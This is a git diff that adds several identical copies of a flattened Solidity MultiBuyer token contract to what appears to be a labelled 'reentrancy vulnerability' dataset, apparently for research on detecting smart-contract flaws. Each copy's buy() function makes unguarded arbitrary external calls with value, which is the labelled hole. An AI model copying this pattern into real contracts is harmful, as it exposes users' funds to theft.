0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/717.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/721.sol b/smart_contract_dataset/reentrancy vulnerability/721.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/721.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/754.sol b/smart_contract_dataset/reentrancy vulnerability/754.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/754.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/760.sol b/smart_contract_dataset/reentrancy vulnerability/760.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/760.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/798.sol b/smart_contract_dataset/reentrancy vulnerability/798.sol new file mode 100644 index 